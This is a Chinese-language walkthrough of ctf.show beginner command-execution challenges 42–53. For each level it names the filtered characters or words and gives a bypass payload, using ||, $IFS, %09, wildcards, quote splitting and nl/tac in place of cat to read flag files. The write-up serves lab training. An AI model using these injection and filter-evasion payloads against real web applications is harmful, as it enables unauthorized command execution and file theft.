WEB42

ctf_show-web入门-命令执行(42-53)_php

 

 

 >是写入

而1和2意思百度一下:

ctf_show-web入门-命令执行(42-53)_百度_02

 

 

 那么就是不管标准输出还是错误输出都输入到null里销毁

构造两个语句即可绕过

c=cat flag.php;ls

ctf_show-web入门-命令执行(42-53)_php_03

 

 

 ctf_show-web入门-命令执行(42-53)_百度_04

 

 

 

 

 

 

WEB43

ctf_show-web入门-命令执行(42-53)_php_05

 

 

 过滤了;和cat 其他同上一题

过滤分号用&&或||代替 注意url别直接输入&要转码

cat能代替的一大堆

c=more flag.php||ls

ctf_show-web入门-命令执行(42-53)_CTF_06

 

 

 

 

 

WEB44

ctf_show-web入门-命令执行(42-53)_根目录_07

 

 

 

同上 继续过滤了flag

可以用通配符代替

c=more f*||ls

 

 

 

WEB45

ctf_show-web入门-命令执行(42-53)_CTF_08

 

 

 

同上 继续过滤了空格

可以用$IFS代替

c=tac$IFS*||ls

 

 

 

 

WEB46

ctf_show-web入门-命令执行(42-53)_CTF_09

 

 

 

过滤了数字 $ 和 *

可以用%09(tab)代替空格

*用 ???????代替

c=tac%09????????||

 

 

 

WEB47

ctf_show-web入门-命令执行(42-53)_根目录_10

 

 

继续过滤一些输出 tac没过滤 

同上web46

c=tac%09????????||

 

 

 

 

WEB48

ctf_show-web入门-命令执行(42-53)_标准输出_11

 

 

 

继续过滤一些输出 tac没过滤 

同上web46

c=tac%09????????||

 

 

 

 

 

WEB49

ctf_show-web入门-命令执行(42-53)_CTF_12

 

 

 

同上web46

c=tac%09????????||

 

 

 

 

WEB50

ctf_show-web入门-命令执行(42-53)_php_13

 

 

 过滤了%09,空格可以用<代替

不知道为啥这里?没用,可以在flag之间加’ ‘ 绕过

c=tac<fl''ag.php||

 

 

 

 

 

 

 

WEB51

ctf_show-web入门-命令执行(42-53)_php_14

 

 

 这里tac也过滤了,可以用nl

c=nl<fl''ag.php||

 

 

 

 

 

WEB52

ctf_show-web入门-命令执行(42-53)_根目录_15

 

 

 继续过来了 <>

但是$过滤,用${IFS}

貌似单用$IFS后面要加\  

另外\ 单写可以随便插入指令中绕过一些检查

 

ctf_show-web入门-命令执行(42-53)_CTF_16

 

ctf_show-web入门-命令执行(42-53)_标准输出_17

 

 

 发现这里没flag

猜测在根目录

ctf_show-web入门-命令执行(42-53)_php_18

 

 果然

c=nl${IFS}/fla\g||

 

 

 

 

 

WEB52

ctf_show-web入门-命令执行(42-53)_php_19

 

 

 这里执行方式变了,先是system执行c

在输出结果到前端代码

先ls

ctf_show-web入门-命令执行(42-53)_根目录_20

 

 

c=nl${IFS}fla\g?php